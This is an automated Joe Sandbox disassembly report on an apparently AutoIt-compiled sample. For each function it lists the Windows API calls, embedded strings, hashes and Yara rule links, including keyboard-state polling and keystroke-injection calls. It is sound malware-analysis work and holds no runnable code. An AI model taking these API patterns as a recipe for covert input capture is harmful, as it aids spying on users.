Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 1255039815-0
Opcode ID: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
Instruction ID: 5d9de0de4906c574794358ef517ff90963b74f7045acbd68c636e819d748278d
Opcode Fuzzy Hash: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
Instruction Fuzzy Hash: DE619C36B046528AEB24EF75D8446BC37E8FB45BD8B049076DE1A93798DF38D845C340

Function 00007FF697BB7BA0 Relevance: 16.6, APIs: 11, Instructions: 106keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF697BB7BD0
GetAsyncKeyState.USER32 ref: 00007FF697BB7C3F
GetKeyState.USER32 ref: 00007FF697BB7C54
GetAsyncKeyState.USER32 ref: 00007FF697BB7C6D
GetKeyState.USER32 ref: 00007FF697BB7C7D
GetAsyncKeyState.USER32 ref: 00007FF697BB7C97
GetKeyState.USER32 ref: 00007FF697BB7CA7
GetAsyncKeyState.USER32 ref: 00007FF697BB7CC1
GetKeyState.USER32 ref: 00007FF697BB7CD1
GetAsyncKeyState.USER32 ref: 00007FF697BB7CEB
GetKeyState.USER32 ref: 00007FF697BB7CFB

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction ID: 9e35479c6c5268454e47aba99026055c4535ab6ef5beae7f4114876e52c5bbe2
Opcode Fuzzy Hash: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction Fuzzy Hash: 75417173D0C6C555FB719F6494803792BA0EF97BC4F4840BADA8A876CACE1DB8948361

Function 00007FF697B4E774 Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 438COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B46838: CreateFileW.KERNELBASE ref: 00007FF697B468A2

Part of subcall function 00007FF697B64380: GetCurrentDirectoryW.KERNEL32(?,00007FF697B4E817), ref: 00007FF697B6439C

Part of subcall function 00007FF697B456D4: GetFullPathNameW.KERNEL32(?,00007FF697B456C1,?,00007FF697B47A0C,?,?,?,00007FF697B4109E), ref: 00007FF697B456FF

SetCurrentDirectoryW.KERNEL32 ref: 00007FF697B4E8B0
SetCurrentDirectoryW.KERNEL32 ref: 00007FF697B4E9FA

Part of subcall function 00007FF697B49F10: wcscpy.LIBCMT ref: 00007FF697B49F61

Strings

AU3!, xrefs: 00007FF697B4E85F
Bad directive syntax error, xrefs: 00007FF697B9A3FB
Unterminated string, xrefs: 00007FF697B9A483
Error opening the file, xrefs: 00007FF697B9A09B, 00007FF697B9A428
EA06, xrefs: 00007FF697B9A0BB
>>>AUTOIT SCRIPT<<<, xrefs: 00007FF697B9A109
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00007FF697B9A07A

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CurrentDirectory$CreateFileFullNamePathwcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 2207129308-1018226102
Opcode ID: 49ea3aa48a149d0aacd5de8a606b77436f364f7eadc79b2dd04c4d4d22c4e031
Instruction ID: b6a3253debc03ddb0ca15456184b25377bb8d63251c56aeb19ae6bf6ebb9c8da
Opcode Fuzzy Hash: 49ea3aa48a149d0aacd5de8a606b77436f364f7eadc79b2dd04c4d4d22c4e031
Instruction Fuzzy Hash: 5F129132A1864286EB30DF65D4811FE6760FB96BD8F800172EA9E8769EDF7CE505D700

Function 00007FF697BD66B4 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 182comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF697BD6717
CoUninitialize.OLE32 ref: 00007FF697BD6721
CoCreateInstance.OLE32 ref: 00007FF697BD6791
IIDFromString.OLE32 ref: 00007FF697BD6810
VariantInit.OLEAUT32 ref: 00007FF697BD68AF
VariantClear.OLEAUT32 ref: 00007FF697BD6900

Strings

Invalid parameter, xrefs: 00007FF697BD6828
Failed to create object, xrefs: 00007FF697BD679B
NULL Pointer assignment, xrefs: 00007FF697BD67DE

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
Instruction ID: ffdd92059c1266af7a1e3e839ecaa899ae795451143f1097d6c016595a672f82
Opcode Fuzzy Hash: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
Instruction Fuzzy Hash: FF7169B6A08A06C5EB249F26E4442BD27A0FB86FD8F5444B2DE0E87769DF3DE445C344

Function 00007FF697B7D504 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B7D681

Strings

nan, xrefs: 00007FF697B7D56C
nan(snan), xrefs: 00007FF697B7D5A4
NAN(SNAN), xrefs: 00007FF697B7D599
NAN, xrefs: 00007FF697B7D565
inf, xrefs: 00007FF697B7D58A
NAN(IND), xrefs: 00007FF697B7D5AF
nan(ind), xrefs: 00007FF697B7D5BA
INF, xrefs: 00007FF697B7D577

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction ID: 5d44fa8c499ff4f6f60332afb24c3b8bb7420c7af787447063a758b5218a7c8e
Opcode Fuzzy Hash: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction Fuzzy Hash: FD41AC36A0AB4589F760CF25E8517AE37A4FB09BD8F404176EE5C87B98EE38D025C340

Function 00007FF697BC59D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 96COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF697BC59FB
GetDiskFreeSpaceW.KERNEL32 ref: 00007FF697BC5A86
GetLastError.KERNEL32 ref: 00007FF697BC5A90
SetErrorMode.KERNEL32 ref: 00007FF697BC5B17

Strings

UNKNOWN, xrefs: 00007FF697BC5AB0
READY, xrefs: 00007FF697BC5AD6
INVALID, xrefs: 00007FF697BC5ACD
NOTREADY, xrefs: 00007FF697BC5AB7
READONLY, xrefs: 00007FF697BC5AC4

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
Instruction ID: abcb5c1be4cd677b23b0b92b92492a504f42a9fdc48a1b2bca25a8e8009183cb
Opcode Fuzzy Hash: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
Instruction Fuzzy Hash: 85414D76A08A4699EB20DF2AD4801AC3771FF89BD9F598472DA0D83769DF38E595C300

Function 00007FF697BB76D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 77windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000001,00007FF697B8C8E3,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00007FF697B43F7D), ref: 00007FF697BB770E
LoadStringW.USER32 ref: 00007FF697BB7728
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF697BB776B
MessageBoxW.USER32 ref: 00007FF697BB77FF

Strings

Line %d (File "%s"):, xrefs: 00007FF697BB7792
Line %d:, xrefs: 00007FF697BB7781
., xrefs: 00007FF697BB77DC
%s (%d) : ==> %s.: %s %s, xrefs: 00007FF697BB7755
Error: , xrefs: 00007FF697BB77BE

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: HandleLoadMessageModuleStringwprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 4007322891-4153970271
Opcode ID: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
Instruction ID: f01db49ebea25da06c3b0eaf813e92f1442f869800d84f1b669c8077d4f54183
Opcode Fuzzy Hash: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
Instruction Fuzzy Hash: EC314F36A18A82D5DB20EF25E4855AD6361FF85BC4F804072EA4D8779DDF7CE605C740

Function 00007FF697BAE08C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BB0730: GetClassNameW.USER32 ref: 00007FF697BB075B

SendMessageW.USER32 ref: 00007FF697BAE125
GetDlgCtrlID.USER32 ref: 00007FF697BAE137
GetParent.USER32 ref: 00007FF697BAE148
SendMessageW.USER32 ref: 00007FF697BAE15C
GetDlgCtrlID.USER32 ref: 00007FF697BAE168
GetParent.USER32 ref: 00007FF697BAE177
SendMessageW.USER32 ref: 00007FF697BAE18B

Strings

ListBox, xrefs: 00007FF697BAE0DF
ComboBox, xrefs: 00007FF697BAE0A6

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName
String ID: ComboBox$ListBox
API String ID: 2573188126-1403004172
Opcode ID: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
Instruction ID: b5b50800a3a2621177178303678a37d1f57cd4db67c0ec14d33cb3e40d64d6d3
Opcode Fuzzy Hash: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
Instruction Fuzzy Hash: 5431A639B09A4181EB20AF11E8551B96361FF8AFE0F4442B1DEAD877D9CE2CE5059740

Function 00007FF697BAE1AC Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BB0730: GetClassNameW.USER32 ref: 00007FF697BB075B

SendMessageW.USER32 ref: 00007FF697BAE244
GetDlgCtrlID.USER32 ref: 00007FF697BAE256
GetParent.USER32 ref: 00007FF697BAE267
SendMessageW.USER32 ref: 00007FF697BAE27B
GetDlgCtrlID.USER32 ref: 00007FF697BAE287
GetParent.USER32 ref: 00007FF697BAE296
SendMessageW.USER32 ref: 00007FF697BAE2AA

Strings

ListBox, xrefs: 00007FF697BAE1FF
ComboBox, xrefs: 00007FF697BAE1C6

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName
String ID: ComboBox$ListBox
API String ID: 2573188126-1403004172
Opcode ID: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
Instruction ID: e9b77a8e16d185f99e1cc84894393cff6bdb4b0794081bf9604420a47620dacb
Opcode Fuzzy Hash: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
Instruction Fuzzy Hash: 2431E439B09B8182EB30AF51E8551B96361FF8AFE0F4441B1DE9D8379ADE2CE505C740

Function 00007FF697BB92E4 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF697BB9318
GetForegroundWindow.USER32(?,?,?,00007FF697BB80FE), ref: 00007FF697BB9329
GetWindowThreadProcessId.USER32 ref: 00007FF697BB9334
AttachThreadInput.USER32(?,?,?,00007FF697BB80FE), ref: 00007FF697BB9348
GetWindowThreadProcessId.USER32 ref: 00007FF697BB935E
AttachThreadInput.USER32(?,?,?,00007FF697BB80FE), ref: 00007FF697BB937A
AttachThreadInput.USER32(?,?,?,00007FF697BB80FE), ref: 00007FF697BB9393
AttachThreadInput.USER32(?,?,?,00007FF697BB80FE), ref: 00007FF697BB93D2
AttachThreadInput.USER32(?,?,?,00007FF697BB80FE), ref: 00007FF697BB93ED
AttachThreadInput.USER32(?,?,?,00007FF697BB80FE), ref: 00007FF697BB9400

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction ID: b32e79f95b7b81f6210c2056b32c897fbd50c799a9a4b478fd6c525315016197
Opcode Fuzzy Hash: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction Fuzzy Hash: F2310939B08603CBE7749F25A89463973A1EF49BD0F5551B8CD0ECB658DE3DF8898600

Function 00007FF697BAE908 Relevance: 15.1, APIs: 10, Instructions: 59keyboardsleepwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BB03F8: GetWindowThreadProcessId.USER32 ref: 00007FF697BB0414
Part of subcall function 00007FF697BB03F8: GetCurrentThreadId.KERNEL32 ref: 00007FF697BB041C
Part of subcall function 00007FF697BB03F8: AttachThreadInput.USER32(?,?,?,00007FF697BAE921), ref: 00007FF697BB0441

MapVirtualKeyW.USER32 ref: 00007FF697BAE92C
PostMessageW.USER32 ref: 00007FF697BAE947
Sleep.KERNEL32 ref: 00007FF697BAE94F
MapVirtualKeyW.USER32 ref: 00007FF697BAE959
MapVirtualKeyW.USER32 ref: 00007FF697BAE964
PostMessageW.USER32 ref: 00007FF697BAE982
Sleep.KERNEL32 ref: 00007FF697BAE98A
MapVirtualKeyW.USER32 ref: 00007FF697BAE994
PostMessageW.USER32 ref: 00007FF697BAE9B6
Sleep.KERNEL32 ref: 00007FF697BAE9BE

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Virtual$MessagePostSleepThread$AttachCurrentInputProcessWindow
String ID:
API String ID: 685491774-0
Opcode ID: 218ae80792710925bb17cb5ea99adcd606458d8e9e9d8c7235401f523141f2b8
Instruction ID: 0a63945788a312ba7b5d91bfaea6f8a657abc7d77349ca6de714c25b48c15159
Opcode Fuzzy Hash: 218ae80792710925bb17cb5ea99adcd606458d8e9e9d8c7235401f523141f2b8
Instruction Fuzzy Hash: C011A239B0460282F724AF66A89897D2661EFCEFC0F415079C91ECBB58DE3DE0548340

Function 00007FF697BAF7F4 Relevance: 14.5, APIs: 2, Strings: 6, Instructions: 471COMMON

Download Yara Rule

Strings

CLASSNN, xrefs: 00007FF697BAF924, 00007FF697BAF935
REGEXPCLASS, xrefs: 00007FF697BAF988, 00007FF697BAF99D
CLASS, xrefs: 00007FF697BAF8A8, 00007FF697BAF8D1
NAME, xrefs: 00007FF697BAFAA9, 00007FF697BAFABA
INSTANCE, xrefs: 00007FF697BAFCC3, 00007FF697BAFCD4
TEXT, xrefs: 00007FF697BAFD2F, 00007FF697BAFD40

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 0-1603158881
Opcode ID: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
Instruction ID: d40b116287fa6cf4a4d8a95b5cd14060b1a07301559f12c3d2f1a8ea7f150d19
Opcode Fuzzy Hash: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
Instruction Fuzzy Hash: 4D12C172B1864399FA7CAF21C8453F962E1EF56BE4F844571DB1DC6698EF3CE5418200

Function 00007FF697BD767C Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF697BD77E3
VariantInit.OLEAUT32 ref: 00007FF697BD7920
VariantClear.OLEAUT32 ref: 00007FF697BD792A

Strings

_NewEnum, xrefs: 00007FF697BD76AB
Incorrect Object type in FOR..IN loop, xrefs: 00007FF697BD78FC
get__NewEnum, xrefs: 00007FF697BD76D1
Null Object assignment in FOR..IN loop, xrefs: 00007FF697BD799D

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Variant$Init$Clear
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$_NewEnum$get__NewEnum
API String ID: 3467423407-1765764032
Opcode ID: a0470de27205f542ebe67e6bc39c13d5e7d83ba962feb8b7bffed10a95e69b5b
Instruction ID: baf95d236fbe32a743d674b7ee620ce3ac71615cbb54c59435216158f48e6cd3
Opcode Fuzzy Hash: a0470de27205f542ebe67e6bc39c13d5e7d83ba962feb8b7bffed10a95e69b5b
Instruction Fuzzy Hash: 45A19777A08B4296EB209F66E4406AD77A1FB8ABD8F440172DE4D83B58DF3CE145C744

Function 00007FF697BEA350 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 139windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B4932C: CreateWindowExW.USER32 ref: 00007FF697B493BC
Part of subcall function 00007FF697B4932C: GetStockObject.GDI32 ref: 00007FF697B493D9
Part of subcall function 00007FF697B4932C: SendMessageW.USER32 ref: 00007FF697B493EC

SendMessageW.USER32 ref: 00007FF697BEA461
SendMessageW.USER32 ref: 00007FF697BEA47A
SetWindowPos.USER32 ref: 00007FF697BEA4A7
wcscat.LIBCMT ref: 00007FF697BEA509
SendMessageW.USER32 ref: 00007FF697BEA51D
SendMessageW.USER32 ref: 00007FF697BEA54E

Strings

SysListView32, xrefs: 00007FF697BEA3B0
-----, xrefs: 00007FF697BEA4FB

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Window$CreateObjectStockwcscat
String ID: -----$SysListView32
API String ID: 2361508679-3975388722
Opcode ID: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction ID: a8678853114baf68660a3f0de8928cf78a0fd1c0a1185e811f780431af68b272
Opcode Fuzzy Hash: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction Fuzzy Hash: 6451AD36A047818AE730DF25E8446E933A5FB89788F40017AEE5D87B59CF39DA94CB40

Function 00007FF697BAE2CC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF697BAE2DF
GetClassNameW.USER32 ref: 00007FF697BAE2F6

Part of subcall function 00007FF697B68E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B68E4F

SendMessageW.USER32 ref: 00007FF697BAE386

Strings

details, xrefs: 00007FF697BAE32F
SHELLDLL_DefView, xrefs: 00007FF697BAE2FC
smallicons, xrefs: 00007FF697BAE34A
largeicons, xrefs: 00007FF697BAE314
list, xrefs: 00007FF697BAE365

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
